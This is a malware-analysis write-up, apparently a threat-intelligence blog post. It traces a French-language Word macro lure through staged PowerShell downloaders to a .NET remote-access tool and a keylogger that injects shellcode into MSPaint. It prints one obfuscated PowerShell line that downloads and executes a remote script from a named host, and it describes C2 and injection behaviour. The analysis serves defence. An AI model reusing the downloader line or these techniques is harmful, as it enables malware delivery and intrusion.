We have found an exciting document that hides a whole chain of PS scripts. Unfortunately, the original document has used a coercive lure to make the victim enable macros that drop malicious artifacts. This specific document's lure is written in French "BIENVENUE DANS WORD Microsoft Word a ete mise a jour avec succes"
File Type: Microsoft Windows Document
MD5 at InQuest Labs: [ca09b19b6975e090fb4eda6ced1847b1](https://labs.inquest.net/dfi/hash/f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3)
Image 1: ca09b19b6975e090fb4eda6ced1847b1 document lure
At the time of submission, the document had a relatively low detection rate on [Virustotal](https://www.virustotal.com/gui/file/f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3/detection). Over time the detection will increase, but the initial download and analysis is important.
Image 2: VirusTotal Detection 5/59
If the file is heavily obfuscated, it helps to run it in a virtual environment. To undersstand the basic functionality of a malicous or legitamite file, dynamic analysis through a sandbox indicates this document is loading a Powershell file.
Image 3: Downloading PS file
Looking at the contents of the downloaded script.
$ cat rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580
The content at the beginning of the script is decoded with this function.
functionmertsa§ i`E`є x(nw-objectnet.webclient).downloadString('ht'+'tp://se'+'cure.gravi'+'om.fr'+':80/fa'+'ndi.p'+'s1')mertsa
The above code loads the following script, which starts to get more interesting.
Image 4: Url of next stage code
Image 5: Vox.ps1
The script contains a large volume of data after converting it to hex.
Image 6: Vox to Hex
It is apparent that the data is encoded with BASE64, and the reverse function is implemented. In order to continue the analysis, we must use the reverse function and decode the base64.
Image 7: Unpacked executable file
Carving out the executable confirms that we are on the right track.
File Type: PE32+ executable for MS Windows (GUI) Mono/.Net assembly
The executable is written in .NET. It is easy to analyze, considering it is not obfuscated by any means.
Image 8: .NET executable
The program collects system information to include antivirus products, display information, and the system's capacity.
Image 9: Harvest system information
The program then connects to a remote server based on two addresses and several randomized ports.
Image 10: Connection functionality
The following function connects to a remote server. If the connection fails, the program goes to sleep and tries again later.
Image 11: C2 Infrastructure
Image 12: Encryption Key
If the treat actor decides the victim matches their parameters, they download other data, which is also decrypted with the above key. Based on the fact that the data would be launched after decryption, the subsequent download would likely be another executable file.
Image 13: Self Destruction
Threat actors often take special measures to prevent their payloads from being analyzed, but we got lucky and managed to get the executable file.
File Type: PE64+ executable for MS Windows (GUI) Mono/.Net assembly
This executable file is also written in .NET. It collects information about keystrokes and mouse movements. Additional functionality is included to capture screenshots. Special attention is directed to the fact that the program injects shellcode into MSPaint.
Image 14: Shellcode written to MSPaint
Before the injection and execution of the shellcode, the program applies the byte reverse function.
Image 15: Reverse byte function
After unpacking, the shellcode looks like this.
Image 16: Unpacked shellcode
This shellcode is rather interesting. Its purpose is to communicate with a remote server in the "mspaint" address space.
Image 17: C2 Assembly
Image 18: C2 address
Targeted attacks still pose a threat to the information security of many organizations. Deep dive analysis of the threats can help to prepare for future attacks.